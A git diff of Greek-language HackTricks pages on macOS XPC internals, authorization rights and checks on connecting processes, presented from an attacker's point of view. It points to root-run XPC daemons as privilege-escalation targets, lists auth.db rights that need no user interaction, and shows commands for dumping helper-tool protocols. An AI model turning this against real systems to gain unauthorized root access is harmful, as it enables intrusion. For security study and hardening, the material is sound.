Όπως μπορεί να σκέφτεστε, ένα **συστατικό XPC θα έχει διαφορετικά δικαιώματα και προνόμια** από τα άλλα συστατικά XPC ή το κύριο δυαδικό αρχείο της εφαρμογής. ΕΚΤΟΣ αν μια υπηρεσία XPC έχει ρυθμιστεί με [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) ρυθμισμένο σε “True” στο αρχείο **Info.plist** της. Σε αυτή την περίπτωση, η υπηρεσία XPC θα εκτελείται στην **ίδια ασφαλή συνεδρία με την εφαρμογή** που την κάλεσε.
Οι υπηρεσίες XPC **ξεκινούνται** από **launchd** όταν απαιτείται και **κλείνουν** μόλις ολοκληρωθούν όλες οι εργασίες για να απελευθερωθούν οι πόροι του συστήματος. **Τα XPC συστατικά που σχετίζονται με την εφαρμογή μπορούν να χρησιμοποιηθούν μόνο από την εφαρμογή**, μειώνοντας έτσι τον κίνδυνο που σχετίζεται με πιθανές ευπάθειες.
Οι υπηρεσίες XPC **ξεκινούνται** από **launchd** όταν απαιτείται και **κλείνουν** μόλις ολοκληρωθούν όλες οι εργασίες για να απελευθερωθούν οι πόροι του συστήματος. **Τα συστατικά XPC που σχετίζονται με την εφαρμογή μπορούν να χρησιμοποιηθούν μόνο από την εφαρμογή**, μειώνοντας έτσι τον κίνδυνο που σχετίζεται με πιθανές ευπάθειες.
## System Wide XPC services
@ -64,46 +64,46 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
```
Οι διαδικασίες στο **`LaunchDameons`** εκτελούνται από τον root. Έτσι, αν μια διαδικασία χωρίς δικαιώματα μπορεί να επικοινωνήσει με μία από αυτές, θα μπορούσε να είναι σε θέση να κλιμακώσει τα δικαιώματα.
## XPC Αντικείμενα
## XPC Objects
- **`xpc_object_t`**
Κάθε μήνυμα XPC είναι ένα αντικείμενο λεξικού που απλοποιεί τη σειριοποίηση και την αποσειριοποίηση. Επιπλέον, η `libxpc.dylib` δηλώνει τους περισσότερους τύπους δεδομένων, οπότε είναι δυνατό να διασφαλιστεί ότι τα ληφθέντα δεδομένα είναι του αναμενόμενου τύπου. Στο C API, κάθε αντικείμενο είναι ένα `xpc_object_t` (και ο τύπος του μπορεί να ελεγχθεί χρησιμοποιώντας `xpc_get_type(object)`).\
Κάθε μήνυμα XPC είναι ένα αντικείμενο λεξικού που απλοποιεί τη σειριοποίηση και την αποσειριοποίηση. Επιπλέον, η `libxpc.dylib` δηλώνει τους περισσότερους από τους τύπους δεδομένων, οπότε είναι δυνατό να διασφαλιστεί ότι τα δεδομένα που λαμβάνονται είναι του αναμενόμενου τύπου. Στο C API, κάθε αντικείμενο είναι ένα `xpc_object_t` (και ο τύπος του μπορεί να ελεγχθεί χρησιμοποιώντας `xpc_get_type(object)`).\
Επιπλέον, η συνάρτηση `xpc_copy_description(object)` μπορεί να χρησιμοποιηθεί για να αποκτήσει μια συμβολοσειρά αναπαράστασης του αντικειμένου που μπορεί να είναι χρήσιμη για σκοπούς αποσφαλμάτωσης.\
Αυτά τα αντικείμενα έχουν επίσης κάποιες μεθόδους που μπορούν να κληθούν όπως `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize`...
Αυτά τα αντικείμενα έχουν επίσης μερικές μεθόδους που μπορούν να κληθούν όπως `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize`...
Τα `xpc_object_t` δημιουργούνται καλώντας τη συνάρτηση `xpc_<objetType>_create`, η οποία εσωτερικά καλεί το `_xpc_base_create(Class, Size)` όπου υποδεικνύεται ο τύπος της κλάσης του αντικειμένου (ένας από τους `XPC_TYPE_*`) και το μέγεθός του (κάποια επιπλέον 40B θα προστεθούν στο μέγεθος για μεταδεδομένα). Αυτό σημαίνει ότι τα δεδομένα του αντικειμένου θα ξεκινούν από την απόσταση 40B.\
Τα `xpc_object_t` δημιουργούνται καλώντας τη συνάρτηση `xpc_<objetType>_create`, η οποία εσωτερικά καλεί τη `_xpc_base_create(Class, Size)` όπου υποδεικνύεται ο τύπος της κλάσης του αντικειμένου (ένας από τους `XPC_TYPE_*`) και το μέγεθός του (κάποια επιπλέον 40B θα προστεθούν στο μέγεθος για μεταδεδομένα). Αυτό σημαίνει ότι τα δεδομένα του αντικειμένου θα ξεκινούν από την απόσταση 40B.\
Επομένως, το `xpc_<objectType>_t` είναι κάπως μια υποκλάση του `xpc_object_t`, η οποία θα ήταν μια υποκλάση του `os_object_t*`.
> [!WARNING]
> Σημειώστε ότι θα πρέπει να είναι ο προγραμματιστής που χρησιμοποιεί `xpc_dictionary_[get/set]_<objectType>` για να αποκτήσει ή να ορίσει τον τύπο και την πραγματική τιμή ενός κλειδιού.
> Σημειώστε ότι θα πρέπει να είναι ο προγραμματιστής που χρησιμοποιεί το `xpc_dictionary_[get/set]_<objectType>` για να αποκτήσει ή να ορίσει τον τύπο και την πραγματική τιμή ενός κλειδιού.
- **`xpc_pipe`**
Ένα **`xpc_pipe`** είναι ένας σωλήνας FIFO που οι διαδικασίες μπορούν να χρησιμοποιήσουν για να επικοινωνήσουν (η επικοινωνία χρησιμοποιεί μηνύματα Mach).\
Είναι δυνατό να δημιουργηθεί ένας XPC server καλώντας `xpc_pipe_create()` ή `xpc_pipe_create_from_port()` για να τον δημιουργήσει χρησιμοποιώντας μια συγκεκριμένη θύρα Mach. Στη συνέχεια, για να λάβει μηνύματα, είναι δυνατό να καλέσει `xpc_pipe_receive` και `xpc_pipe_try_receive`.
Είναι δυνατό να δημιουργηθεί ένας XPC server καλώντας το `xpc_pipe_create()` ή το `xpc_pipe_create_from_port()` για να τον δημιουργήσει χρησιμοποιώντας μια συγκεκριμένη θύρα Mach. Στη συνέχεια, για να λάβει μηνύματα, είναι δυνατό να καλέσει το `xpc_pipe_receive` και το `xpc_pipe_try_receive`.
Σημειώστε ότι το αντικείμενο **`xpc_pipe`** είναι ένα **`xpc_object_t`** με πληροφορίες στη δομή του σχετικά με τις δύο θύρες Mach που χρησιμοποιούνται και το όνομα (αν υπάρχει). Το όνομα, για παράδειγμα, ο daemon `secinitd` στο plist του `/System/Library/LaunchDaemons/com.apple.secinitd.plist` ρυθμίζει τον σωλήνα που ονομάζεται `com.apple.secinitd`.
Ένα παράδειγμα ενός **`xpc_pipe`** είναι ο **bootstrap pip**e που δημιουργείται από τον **`launchd`** καθιστώντας δυνατή την κοινή χρήση θύρων Mach.
Ένα παράδειγμα ενός **`xpc_pipe`** είναι ο **bootstrap pipe** που δημιουργείται από τον **`launchd`** κάνοντάς το δυνατό να μοιράζονται οι θύρες Mach.
- **`NSXPC*`**
Αυτά είναι αντικείμενα υψηλού επιπέδου Objective-C που επιτρέπουν την αφαίρεση των συνδέσεων XPC.\
Αυτά είναι αντικείμενα υψηλού επιπέδου Objective-C που επιτρέπουν την αφαίρεση των XPC συνδέσεων.\
Επιπλέον, είναι πιο εύκολο να αποσφαλματωθούν αυτά τα αντικείμενα με το DTrace από τα προηγούμενα.
- **`GCD Queues`**
Το XPC χρησιμοποιεί GCD για να περάσει μηνύματα, επιπλέον δημιουργεί ορισμένες ουρές εκτέλεσης όπως `xpc.transactionq`, `xpc.io`, `xpc-events.add-listenerq`, `xpc.service-instance`...
## Υπηρεσίες XPC
## XPC Services
Αυτές είναι **πακέτα με επέκταση `.xpc`** που βρίσκονται μέσα στον φάκελο **`XPCServices`** άλλων έργων και στο `Info.plist` έχουν τον τύπο πακέτου `CFBundlePackageType` ρυθμισμένο σε **`XPC!`**.\
Αυτό το αρχείο έχει άλλες ρυθμιστικές κλειδιά όπως `ServiceType` που μπορεί να είναι Application, User, System ή `_SandboxProfile` που μπορεί να ορίσει ένα sandbox ή `_AllowedClients` που μπορεί να υποδεικνύει δικαιώματα ή ID που απαιτούνται για να επικοινωνήσουν με την υπηρεσία. Αυτές και άλλες ρυθμιστικές επιλογές θα είναι χρήσιμες για να ρυθμίσουν την υπηρεσία κατά την εκκίνηση.
Αυτά είναι **πακέτα με επέκταση `.xpc`** που βρίσκονται μέσα στον φάκελο **`XPCServices`** άλλων έργων και στο `Info.plist` έχουν τον τύπο πακέτου `CFBundlePackageType` ρυθμισμένο σε **`XPC!`**.\
Αυτό το αρχείο έχει άλλες ρυθμιστικές κλειδιά όπως `ServiceType` που μπορεί να είναι Application, User, System ή `_SandboxProfile` που μπορεί να ορίσει ένα sandbox ή `_AllowedClients` που μπορεί να υποδεικνύει δικαιώματα ή ID που απαιτούνται για να επικοινωνήσουν με τον σερβερ. Αυτές και άλλες ρυθμιστικές επιλογές θα είναι χρήσιμες για να ρυθμίσουν την υπηρεσία κατά την εκκίνηση.
### Εκκίνηση μιας Υπηρεσίας
### Starting a Service
Η εφαρμογή προσπαθεί να **συνδεθεί** με μια υπηρεσία XPC χρησιμοποιώντας `xpc_connection_create_mach_service`, στη συνέχεια ο launchd εντοπίζει τον daemon και εκκινεί τον **`xpcproxy`**. Ο **`xpcproxy`** επιβάλλει τις ρυθμισμένες περιορισμούς και δημιουργεί την υπηρεσία με τις παρεχόμενες FDs και θύρες Mach.
Η εφαρμογή προσπαθεί να **συνδεθεί** με μια υπηρεσία XPC χρησιμοποιώντας το `xpc_connection_create_mach_service`, στη συνέχεια ο launchd εντοπίζει τον daemon και εκκινεί το **`xpcproxy`**. Ο **`xpcproxy`** επιβάλλει τις ρυθμισμένες περιορισμούς και δημιουργεί την υπηρεσία με τα παρεχόμενα FDs και τις θύρες Mach.
Για να βελτιωθεί η ταχύτητα αναζήτησης της υπηρεσίας XPC, χρησιμοποιείται μια κρυφή μνήμη.
@ -111,24 +111,26 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
```bash
supraudit S -C -o /tmp/output /dev/auditpipe
```
Η βιβλιοθήκη XPC χρησιμοποιεί `kdebug` για να καταγράψει ενέργειες καλώντας `xpc_ktrace_pid0` και `xpc_ktrace_pid1`. Οι κωδικοί που χρησιμοποιεί δεν είναι τεκμηριωμένοι, επομένως είναι απαραίτητο να τους προσθέσετε στο `/usr/share/misc/trace.codes`. Έχουν το πρόθεμα `0x29` και για παράδειγμα ένας είναι `0x29000004`: `XPC_serializer_pack`.\
Το εργαλείο `xpcproxy` χρησιμοποιεί το πρόθεμα `0x22`, για παράδειγμα: `0x2200001c: xpcproxy:will_do_preexec`.
Η βιβλιοθήκη XPC χρησιμοποιεί `kdebug` για να καταγράψει ενέργειες καλώντας `xpc_ktrace_pid0` και `xpc_ktrace_pid1`. Οι κωδικοί που χρησιμοποιεί δεν είναι τεκμηριωμένοι, οπότε είναι απαραίτητο να τους προσθέσετε στο `/usr/share/misc/trace.codes`. Έχουν το πρόθεμα `0x29` και για παράδειγμα ένας είναι `0x29000004`: `XPC_serializer_pack`.\
Η χρησιμότητα `xpcproxy` χρησιμοποιεί το πρόθεμα `0x22`, για παράδειγμα: `0x2200001c: xpcproxy:will_do_preexec`.
## XPC Event Messages
Οι εφαρμογές μπορούν να **εγγραφούν** σε διάφορα γεγονότα **μηνυμάτων**, επιτρέποντάς τους να **ξεκινούν κατόπιν αιτήματος** όταν συμβαίνουν τέτοια γεγονότα. Η **ρύθμιση** για αυτές τις υπηρεσίες γίνεται σε αρχεία **plist του launchd**, που βρίσκονται στους **ίδιους καταλόγους με τους προηγούμενους** και περιέχουν ένα επιπλέον **`LaunchEvent`** κλειδί.
Οι εφαρμογές μπορούν να **εγγραφούν** σε διάφορα γεγονότα **μηνυμάτων**, επιτρέποντάς τους να **ξεκινούν κατόπιν αιτήματος** όταν συμβαίνουν τέτοια γεγονότα. Η **ρύθμιση** για αυτές τις υπηρεσίες γίνεται σε αρχεία plist του **launchd**, που βρίσκονται στους **ίδιους καταλόγους με τους προηγούμενους** και περιέχουν ένα επιπλέον **`LaunchEvent`** κλειδί.
### XPC Connecting Process Check
Όταν μια διαδικασία προσπαθεί να καλέσει μια μέθοδο μέσω μιας σύνδεσης XPC, η **υπηρεσία XPC θα πρέπει να ελέγξει αν αυτή η διαδικασία επιτρέπεται να συνδεθεί**. Ακολουθούν οι κοινές μέθοδοι για να το ελέγξετε και οι κοινές παγίδες:
{{#ref}}
macos-xpc-connecting-process-check/
{{#endref}}
## XPC Authorization
Η Apple επιτρέπει επίσης στις εφαρμογές να **ρυθμίζουν ορισμένα δικαιώματα και πώς να τα αποκτούν**, έτσι ώστε αν η καλούσα διαδικασία τα έχει, θα **επιτρέπεται να καλέσει μια μέθοδο** από την υπηρεσία XPC:
Η Apple επιτρέπει επίσης στις εφαρμογές να **ρυθμίζουν ορισμένα δικαιώματα και πώς να τα αποκτούν**, οπότε αν η καλούσα διαδικασία τα έχει, θα **επιτρέπεται να καλέσει μια μέθοδο** από την υπηρεσία XPC:
{{#ref}}
macos-xpc-authorization.md
@ -147,7 +149,7 @@ xpcspy -U -r -W <bundle-id>
## Using filters (i: for input, o: for output)
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
```
Ένα άλλο πιθανό εργαλείο που μπορείτε να χρησιμοποιήσετε είναι το [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html).
Ένα άλλο πιθανό εργαλείο που μπορείτε να χρησιμοποιήσετε είναι [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html).
## Παράδειγμα Κώδικα C για Επικοινωνία XPC
@ -281,7 +283,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
## XPC Επικοινωνία Παράδειγμα Κώδικα Objective-C
## XPC Communication Objective-C Code Example
{{#tabs}}
{{#tab name="oc_xpc_server.m"}}
@ -439,14 +441,14 @@ return;
```
## Remote XPC
Αυτή η λειτουργία που παρέχεται από το `RemoteXPC.framework` (από το `libxpc`) επιτρέπει την επικοινωνία μέσω XPC μέσω διαφορετικών hosts.\
Αυτή η λειτουργία που παρέχεται από το `RemoteXPC.framework` (από το `libxpc`) επιτρέπει την επικοινωνία μέσω XPC μεταξύ διαφορετικών hosts.\
Οι υπηρεσίες που υποστηρίζουν το remote XPC θα έχουν στο plist τους το κλειδί UsesRemoteXPC όπως είναι η περίπτωση του `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. Ωστόσο, αν και η υπηρεσία θα είναι καταχωρημένη με το `launchd`, είναι το `UserEventAgent` με τα plugins `com.apple.remoted.plugin` και `com.apple.remoteservicediscovery.events.plugin` που παρέχει τη λειτουργικότητα.
Επιπλέον, το `RemoteServiceDiscovery.framework` επιτρέπει την απόκτηση πληροφοριών από το `com.apple.remoted.plugin` εκθέτοντας συναρτήσεις όπως `get_device`, `get_unique_device`, `connect`...
Μόλις χρησιμοποιηθεί το connect και συγκεντρωθεί το socket `fd` της υπηρεσίας, είναι δυνατή η χρήση της κλάσης `remote_xpc_connection_*`.
Είναι δυνατή η απόκτηση πληροφοριών σχετικά με τις απομακρυσμένες υπηρεσίες χρησιμοποιώντας το cli εργαλείο `/usr/libexec/remotectl` χρησιμοποιώντας παραμέτρους όπως:
Είναι δυνατή η απόκτηση πληροφοριών σχετικά με απομακρυσμένες υπηρεσίες χρησιμοποιώντας το cli εργαλείο `/usr/libexec/remotectl` με παραμέτρους όπως:
```bash
/usr/libexec/remotectl list # Get bridge devices
/usr/libexec/remotectl show ...# Get device properties and services
@ -454,7 +456,7 @@ return;
/usr/libexec/remotectl [netcat|relay] ... # Expose a service in a port
...
```
Η επικοινωνία μεταξύ του BridgeOS και του κεντρικού υπολογιστή πραγματοποιείται μέσω μιας ειδικής διεπαφής IPv6. Το `MultiverseSupport.framework` επιτρέπει τη δημιουργία υποδοχών των οποίων το `fd` θα χρησιμοποιηθεί για την επικοινωνία.\
Η επικοινωνία μεταξύ του BridgeOS και του κεντρικού υπολογιστή πραγματοποιείται μέσω μιας αφιερωμένης διεπαφής IPv6. Το `MultiverseSupport.framework` επιτρέπει τη δημιουργία υποδοχών των οποίων το `fd` θα χρησιμοποιηθεί για την επικοινωνία.\
Είναι δυνατή η εύρεση αυτών των επικοινωνιών χρησιμοποιώντας το `netstat`, `nettop` ή την ανοιχτού κώδικα επιλογή, `netbottom`.
{{#include ../../../../../banners/hacktricks-training.md}}

View File

@ -27,7 +27,7 @@ newConnection.exportedObject = self;
return YES;
}
```
Για περισσότερες πληροφορίες σχετικά με το πώς να ρυθμίσετε σωστά αυτήν την επαλήθευση:
Για περισσότερες πληροφορίες σχετικά με το πώς να ρυθμίσετε σωστά αυτήν την επιθεώρηση:
{{#ref}}
macos-xpc-connecting-process-check/
@ -35,7 +35,7 @@ macos-xpc-connecting-process-check/
### Δικαιώματα εφαρμογής
Ωστόσο, υπάρχει κάποια **εξουσιοδότηση που εκτελείται όταν καλείται μια μέθοδος από το HelperTool**.
Ωστόσο, υπάρχει κάποια **εξουσιοδότηση που συμβαίνει όταν καλείται μια μέθοδος από το HelperTool**.
Η συνάρτηση **`applicationDidFinishLaunching`** από το `App/AppDelegate.m` θα δημιουργήσει μια κενή αναφορά εξουσιοδότησης μετά την εκκίνηση της εφαρμογής. Αυτό θα πρέπει πάντα να λειτουργεί.\
Στη συνέχεια, θα προσπαθήσει να **προσθέσει κάποια δικαιώματα** σε αυτήν την αναφορά εξουσιοδότησης καλώντας το `setupAuthorizationRights`:
@ -62,7 +62,7 @@ if (self->_authRef) {
[self.window makeKeyAndOrderFront:self];
}
```
Η συνάρτηση `setupAuthorizationRights` από το `Common/Common.m` θα αποθηκεύσει στη βάση δεδομένων auth `/var/db/auth.db` τα δικαιώματα της εφαρμογής. Σημειώστε πώς θα προσθέσει μόνο τα δικαιώματα που δεν είναι ακόμα στη βάση δεδομένων:
Η συνάρτηση `setupAuthorizationRights` από το `Common/Common.m` θα αποθηκεύσει στη βάση δεδομένων auth `/var/db/auth.db` τα δικαιώματα της εφαρμογής. Σημειώστε πώς θα προσθέσει μόνο τα δικαιώματα που δεν είναι ήδη στη βάση δεδομένων:
```objectivec
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
@ -172,7 +172,7 @@ block(authRightName, authRightDefault, authRightDesc);
}];
}
```
Αυτό σημαίνει ότι στο τέλος αυτής της διαδικασίας, οι άδειες που δηλώνονται μέσα στο `commandInfo` θα αποθηκευτούν στο `/var/db/auth.db`. Σημειώστε πώς μπορείτε να βρείτε για **κάθε μέθοδο** που θα απαιτεί **αυθεντικοποίηση**, **όνομα άδειας** και το **`kCommandKeyAuthRightDefault`**. Το τελευταίο **υποδεικνύει ποιος μπορεί να αποκτήσει αυτό το δικαίωμα**.
Αυτό σημαίνει ότι στο τέλος αυτής της διαδικασίας, οι άδειες που δηλώνονται μέσα στο `commandInfo` θα αποθηκευτούν στο `/var/db/auth.db`. Σημειώστε πώς μπορείτε να βρείτε για **κάθε μέθοδο** που θα απαιτεί **αυθεντικοποίηση**, το **όνομα άδειας** και το **`kCommandKeyAuthRightDefault`**. Το τελευταίο **υποδεικνύει ποιος μπορεί να αποκτήσει αυτό το δικαίωμα**.
Υπάρχουν διαφορετικοί τομείς για να υποδείξουν ποιος μπορεί να έχει πρόσβαση σε ένα δικαίωμα. Ορισμένοι από αυτούς ορίζονται στο [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) (μπορείτε να βρείτε [όλους εδώ](https://www.dssw.co.uk/reference/authorization-rights/)), αλλά ως σύνοψη:
@ -240,7 +240,7 @@ sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
```
Μπορείτε να διαβάσετε ποιος μπορεί να έχει πρόσβαση στο δικαίωμα με:
Στη συνέχεια, μπορείτε να διαβάσετε ποιος μπορεί να έχει πρόσβαση στο δικαίωμα με:
```bash
security authorizationdb read com.apple.safaridriver.allow
```
@ -249,14 +249,14 @@ security authorizationdb read com.apple.safaridriver.allow
Μπορείτε να βρείτε **όλες τις ρυθμίσεις αδειών** [**εδώ**](https://www.dssw.co.uk/reference/authorization-rights/), αλλά οι συνδυασμοί που δεν θα απαιτούν αλληλεπίδραση από τον χρήστη θα είναι:
1. **'authenticate-user': 'false'**
- Αυτό είναι το πιο άμεσο κλειδί. Εάν οριστεί σε `false`, καθορίζει ότι ένας χρήστης δεν χρειάζεται να παρέχει πιστοποίηση για να αποκτήσει αυτό το δικαίωμα.
- Αυτό είναι το πιο άμεσο κλειδί. Αν οριστεί σε `false`, καθορίζει ότι ένας χρήστης δεν χρειάζεται να παρέχει πιστοποίηση για να αποκτήσει αυτό το δικαίωμα.
- Χρησιμοποιείται σε **συνδυασμό με ένα από τα 2 παρακάτω ή υποδεικνύοντας μια ομάδα** στην οποία πρέπει να ανήκει ο χρήστης.
2. **'allow-root': 'true'**
- Εάν ένας χρήστης λειτουργεί ως ο χρήστης root (ο οποίος έχει ανυψωμένα δικαιώματα), και αυτό το κλειδί είναι ορισμένο σε `true`, ο χρήστης root θα μπορούσε ενδεχομένως να αποκτήσει αυτό το δικαίωμα χωρίς περαιτέρω πιστοποίηση. Ωστόσο, συνήθως, η απόκτηση καθεστώτος χρήστη root απαιτεί ήδη πιστοποίηση, οπότε αυτό δεν είναι ένα σενάριο "χωρίς πιστοποίηση" για τους περισσότερους χρήστες.
- Αν ένας χρήστης λειτουργεί ως ο χρήστης root (ο οποίος έχει ανυψωμένα δικαιώματα), και αυτό το κλειδί είναι ορισμένο σε `true`, ο χρήστης root θα μπορούσε ενδεχομένως να αποκτήσει αυτό το δικαίωμα χωρίς περαιτέρω πιστοποίηση. Ωστόσο, συνήθως, η απόκτηση καθεστώτος χρήστη root απαιτεί ήδη πιστοποίηση, οπότε αυτό δεν είναι σενάριο "χωρίς πιστοποίηση" για τους περισσότερους χρήστες.
3. **'session-owner': 'true'**
- Εάν οριστεί σε `true`, ο κάτοχος της συνεδρίας (ο τρέχων συνδεδεμένος χρήστης) θα αποκτήσει αυτό το δικαίωμα αυτόματα. Αυτό μπορεί να παρακάμψει πρόσθετη πιστοποίηση εάν ο χρήστης είναι ήδη συνδεδεμένος.
- Αν οριστεί σε `true`, ο κάτοχος της συνεδρίας (ο τρέχων συνδεδεμένος χρήστης) θα αποκτήσει αυτό το δικαίωμα αυτόματα. Αυτό μπορεί να παρακάμψει πρόσθετη πιστοποίηση αν ο χρήστης είναι ήδη συνδεδεμένος.
4. **'shared': 'true'**
- Αυτό το κλειδί δεν παρέχει δικαιώματα χωρίς πιστοποίηση. Αντίθετα, εάν οριστεί σε `true`, σημαίνει ότι μόλις το δικαίωμα έχει πιστοποιηθεί, μπορεί να μοιραστεί μεταξύ πολλών διαδικασιών χωρίς να χρειάζεται η κάθε μία να επαναπιστοποιηθεί. Αλλά η αρχική χορήγηση του δικαιώματος θα απαιτεί ακόμα πιστοποίηση εκτός αν συνδυαστεί με άλλα κλειδιά όπως το `'authenticate-user': 'false'`.
- Αυτό το κλειδί δεν παρέχει δικαιώματα χωρίς πιστοποίηση. Αντίθετα, αν οριστεί σε `true`, σημαίνει ότι μόλις το δικαίωμα έχει πιστοποιηθεί, μπορεί να μοιραστεί μεταξύ πολλών διαδικασιών χωρίς να χρειάζεται η κάθε μία να επαναπιστοποιηθεί. Αλλά η αρχική χορήγηση του δικαιώματος θα απαιτεί ακόμα πιστοποίηση εκτός αν συνδυαστεί με άλλα κλειδιά όπως το `'authenticate-user': 'false'`.
Μπορείτε να [**χρησιμοποιήσετε αυτό το σενάριο**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) για να αποκτήσετε τα ενδιαφέροντα δικαιώματα:
```bash
@ -291,7 +291,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
Σε αυτή την περίπτωση, έχουμε το ίδιο όπως στο EvenBetterAuthorizationSample, [**ελέγξτε αυτή τη γραμμή**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
Γνωρίζοντας το όνομα του χρησιμοποιούμενου πρωτοκόλλου, είναι δυνατό να **dump its header definition** με:
Γνωρίζοντας το όνομα του χρησιμοποιούμενου πρωτοκόλλου, είναι δυνατό να **εκφορτώσετε τον ορισμό της κεφαλίδας του** με:
```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@ -324,12 +324,12 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
</dict>
[...]
```
### Παράδειγμα Εκμετάλλευσης
### Exploit Example
Σε αυτό το παράδειγμα δημιουργούνται:
Σε αυτό το παράδειγμα δημιουργείται:
- Ο ορισμός του πρωτοκόλλου με τις λειτουργίες
- Μια κενή αυθεντοποίηση για να ζητήσει πρόσβαση
- Μια κενή αυθεντικοποίηση για να ζητήσει πρόσβαση
- Μια σύνδεση στην υπηρεσία XPC
- Μια κλήση στη λειτουργία αν η σύνδεση ήταν επιτυχής
```objectivec

View File

@ -8,18 +8,18 @@
1. Έλεγχος αν η **διαδικασία που συνδέεται είναι υπογεγραμμένη με πιστοποιητικό υπογεγραμμένο από την Apple** (δίδεται μόνο από την Apple).
- Αν αυτό **δεν επαληθευτεί**, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα **ψεύτικο πιστοποιητικό** για να ταιριάζει με οποιονδήποτε άλλο έλεγχο.
2. Έλεγχος αν η διαδικασία που συνδέεται είναι υπογεγραμμένη με το **πιστοποιητικό της οργάνωσης** (επικύρωση ID ομάδας).
2. Έλεγχος αν η διαδικασία που συνδέεται είναι υπογεγραμμένη με το **πιστοποιητικό της οργάνωσης** (έλεγχος ταυτότητας ομάδας).
- Αν αυτό **δεν επαληθευτεί**, **οποιοδήποτε πιστοποιητικό προγραμματιστή** από την Apple μπορεί να χρησιμοποιηθεί για υπογραφή και σύνδεση με την υπηρεσία.
3. Έλεγχος αν η διαδικασία που συνδέεται **περιέχει ένα κατάλληλο bundle ID**.
- Αν αυτό **δεν επαληθευτεί**, οποιοδήποτε εργαλείο **υπογεγραμμένο από την ίδια οργάνωση** θα μπορούσε να χρησιμοποιηθεί για αλληλεπίδραση με την υπηρεσία XPC.
4. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει έναν **κατάλληλο αριθμό έκδοσης λογισμικού**.
- Αν αυτό **δεν επαληθευτεί**, παλιοί, ανασφαλείς πελάτες, ευάλωτοι σε διαδικαστική ένεση, θα μπορούσαν να χρησιμοποιηθούν για σύνδεση με την υπηρεσία XPC ακόμη και με τους άλλους ελέγχους σε εφαρμογή.
5. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει σκληρυμένο χρόνο εκτέλεσης χωρίς επικίνδυνες εξουσιοδοτήσεις (όπως αυτές που επιτρέπουν τη φόρτωση αυθαίρετων βιβλιοθηκών ή τη χρήση μεταβλητών περιβάλλοντος DYLD).
1. Αν αυτό **δεν επαληθευτεί**, ο πελάτης μπορεί να είναι **ευάλωτος σε ένεση κώδικα**.
4. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει **κατάλληλο αριθμό έκδοσης λογισμικού**.
- Αν αυτό **δεν επαληθευτεί**, παλιοί, ανασφαλείς πελάτες, ευάλωτοι σε ένεση διαδικασίας θα μπορούσαν να χρησιμοποιηθούν για σύνδεση με την υπηρεσία XPC ακόμη και με τους άλλους ελέγχους σε εφαρμογή.
5. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει σκληρυμένο χρόνο εκτέλεσης χωρίς επικίνδυνες εξουσιοδοτήσεις (όπως αυτές που επιτρέπουν τη φόρτωση αυθαίρετων βιβλιοθηκών ή τη χρήση μεταβλητών περιβάλλοντος DYLD)
1. Αν αυτό **δεν επαληθευτεί**, ο πελάτης μπορεί να είναι **ευάλωτος σε ένεση κώδικα**
6. Έλεγχος αν η διαδικασία που συνδέεται έχει μια **εξουσιοδότηση** που της επιτρέπει να συνδεθεί με την υπηρεσία. Αυτό ισχύει για τα δυαδικά αρχεία της Apple.
7. Η **επικύρωση** πρέπει να είναι **βασισμένη** στο **token ελέγχου του πελάτη** **αντί** για το ID διαδικασίας του (**PID**) καθώς το πρώτο αποτρέπει τις **επιθέσεις επαναχρησιμοποίησης PID**.
- Οι προγραμματιστές **σπάνια χρησιμοποιούν το API token ελέγχου** καθώς είναι **ιδιωτικό**, οπότε η Apple θα μπορούσε να **αλλάξει** ανά πάσα στιγμή. Επιπλέον, η χρήση ιδιωτικών API δεν επιτρέπεται σε εφαρμογές του Mac App Store.
- Αν η μέθοδος **`processIdentifier`** χρησιμοποιηθεί, μπορεί να είναι ευάλωτη.
7. Η **επικύρωση** πρέπει να είναι **βασισμένη** στο **audit token του πελάτη που συνδέεται** **αντί** για το ID της διαδικασίας του (**PID**) καθώς το πρώτο αποτρέπει τις **επιθέσεις επαναχρησιμοποίησης PID**.
- Οι προγραμματιστές **σπάνια χρησιμοποιούν την κλήση API του audit token** καθώς είναι **ιδιωτική**, οπότε η Apple θα μπορούσε να **αλλάξει** οποιαδήποτε στιγμή. Επιπλέον, η χρήση ιδιωτικών API δεν επιτρέπεται σε εφαρμογές του Mac App Store.
- Αν η μέθοδος **`processIdentifier`** χρησιμοποιηθεί, μπορεί να είναι ευάλωτη
- **`xpc_dictionary_get_audit_token`** θα πρέπει να χρησιμοποιείται αντί για **`xpc_connection_get_audit_token`**, καθώς η τελευταία θα μπορούσε επίσης να είναι [ευάλωτη σε ορισμένες καταστάσεις](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
### Communication Attacks
@ -38,7 +38,7 @@ macos-xpc_connection_get_audit_token-attack.md
